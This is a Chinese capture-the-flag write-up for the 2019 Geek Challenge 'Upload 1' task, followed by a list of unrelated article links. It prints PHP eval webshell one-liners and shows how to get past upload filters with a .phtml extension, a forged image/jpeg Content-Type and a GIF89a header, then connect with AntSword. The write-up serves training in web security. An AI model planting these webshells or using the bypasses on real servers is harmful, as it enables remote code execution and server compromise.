当前位置: 首页 > news >正文

[极客大挑战 2019]Upload 1

题目环境:
image.png

根据题目和环境可知此题目是一道文件上传漏洞

编写一句话木马脚本
<?php @eval($_POST['shell']);?>
将脚本文件更改为jpg图片文件
我这里是flag.jpg
image.png
image.png
image.png
上传文件并burpsuite抓包
image.png
Repeater重放
image.png
image.png

报错一句话木马里面有<?字符

换一种一句话木马
继续编写木马脚本
<script language="php">@eval($_POST['shell']);</script>
image.png
保存为flag.phtml文件

绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht
因为前几个都被过滤了,所以选择使用phtml后缀

上传抓包
image.png
修改为image/jpeg图片格式
Repeater重放Send
image.png
不是图片
通过GIF89a进行绕过
GIF89a<script language="php">@eval($_POST['shell']);</script>

使文件为动态GIF文件绕过检测

image.png
访问upload/flag.phtml文件
image.png
上传成功
复制URL链接
使用中国蚁剑连接
image.png
在/根目录下找到flag文件
访问flag文件
image.png
image.png
得到flag:
flag{5359382e-ae88-42a8-8116-8c85a02fb21f}

http://www.lryc.cn/news/221943.html

相关文章:

  • OpenFeign讲解+面试题
  • 嬴图 | LLM+Graph:大语言模型与图数据库技术的协同
  • 微信小程序下载文件和转发文件给好友总结
  • 一文掌握 Apache SkyWalking
  • 外贸网站优化常用流程和一些常识
  • Hive的时间操作函数
  • 【Web安全】CORS跨域资源共享漏洞
  • IntelliJ IDEA 如何修改默认Maven仓库地址
  • Vue3 <script setup>是什么?作用?
  • 2.9 CSS 响应式布局
  • vue使用websocket与springboot通信
  • ChatGPT 实际上是如何工作的?
  • 【SSD1306 OLED屏幕测试程序 (开源)orangepi zero2 全志H616 】.md updata: 23/11/07
  • 【python VS vba】(5) 在python中使用xlwt操作Excel(待完善ing)
  • 【Redis】Redis整合SSMRedis注解式缓存Redis中的缓存穿透、雪崩、击穿的原因以及解决方案(详解)
  • Linux文件系统的功能规划
  • 入门 SpringCloudStream 之 RocketMq 实践全集
  • 论文阅读:Ensemble Knowledge Transfer for Semantic Segmentation
  • 定义函数(简单介绍)-def
  • Mac VsCode g++编译报错:不支持C++11语法解决
  • react_12
  • Android Mvp案例解析
  • vue的双向绑定的原理,和angular的对比
  • 平衡树相关笔记
  • ASP.net C# 用Aspose.pdf实现pdf合并
  • C语言实现原码一位除
  • three.js点滴yan(整理后)
  • VMware安装CentOS最小化开发环境导引
  • 服务器端编程/数据库驱动程序/RESTful API:介绍
  • Qwt QwtThermo绘制温度计